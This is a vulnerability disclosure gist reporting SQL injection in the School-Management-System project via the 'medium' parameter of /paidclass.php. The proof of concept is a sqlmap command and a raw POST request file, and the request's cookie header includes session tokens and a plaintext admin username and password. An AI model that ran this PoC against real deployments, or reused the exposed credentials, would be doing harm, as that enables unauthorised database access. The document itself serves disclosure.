topsky979/arajajyothibabu_School-Management-System_SQL_INJECTION_4.md Secret

## arajajyothibabu_School-Management-System_SQL_INJECTION_4.md

      
    Raw
  

              arajajyothibabu_School-Management-System_SQL_INJECTION_4.md
            
          
    [description]
School-Management-System was discovered to contain a SQL Injection vulnerability via the URI /paidclass.php.

[Vulnerability Type]
SQL Injection

[Vendor of Product]
School-Management-System,https://github.com/arajajyothibabu/School-Management-System

[Affected Product Code Base]
commit<=bae5aaf37a44ee90163a1b81726ea27dabb26e06

[Impact Escalation of Privileges]
true

[POC]
sqlmap commands：
sqlmap -r a.txt -p medium --batch --banner --flush-session

a.txt
POST /paidclass.php HTTP/1.1
Host: 192.168.0.183:11180
Content-Length: 40
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.0.183:11180
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.0.183:11180/paidclass.php
Accept-Encoding: gzip, deflate, br
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8,en-US;q=0.7
Cookie: i18next=en; Admin-Token=eyJhbGciOiJIUzUxMiJ9.eyJsb2dpbl91c2VyX2tleSI6ImU0ZjJhZWJmLWVkMDEtNGM0OC04YjU4LTI3OTFjMzllMzFmMCJ9.0J-cqM7f9-cNNDe8_Q3CAiWkq4iyNqLDbBUh6mnYfRl1Ygv4HPIp3Ky1cbbpN3_4Zr8lYluJ5-nEunFvF84Xyw; sidebarStatus=0; pro_end=-1; ltd_end=-1; serverType=nginx; order=id%20desc; memSize=32012; sites_path=/www/wwwroot; distribution=ubuntu; force=0; uploadSize=1073741824; rank=a; form_proxy=%5Bobject%20Object%5D; backup_path=/www/backup; _ga=GA1.1.2111016145.1721287966; _ga_J1DQF09WZC=GS1.1.1721287966.1.1.1721292532.0.0.0; weberp_installation=li98qb9dmcjbkupdsthditlpb3; files_sort=name; showRow=2000; Module=AP; PHPSESSIDwebERPteam=hnbgetkfg5o9mdts1ul0tt7a92; name_reverse=True; SESSIONID=c5a998ac-ac1a-4102-962c-14f81e5eaa7d.JwnPi9EhaYyZfpOkyruZnGmLVBQ; request_token=wWTYlCvGWOyw1n0ms4ax4jl6ZBogX70mIk1wC4M9vZXHnFgO; copyFileName=null; is_admin=false; cutFileName=null; PHPSESSID=br11orm7m3b7qqksr2ie4tk2gj; username=admin; userpwd=admin123456; ispwd=1; token=b5bae5b1d231eeb5044dfe4aa0de35ea; BatchPaste=2; layers=5; BatchSelected=null; pnull=1; load_search=php; p-1=nullnot_load; softType=0; load_type=0; load_page=2; p0=2not_load; vcodesum=4; Path=/www/wwwroot/111.com
Connection: keep-alive

medium=E&class=1&section=C&submit=Search%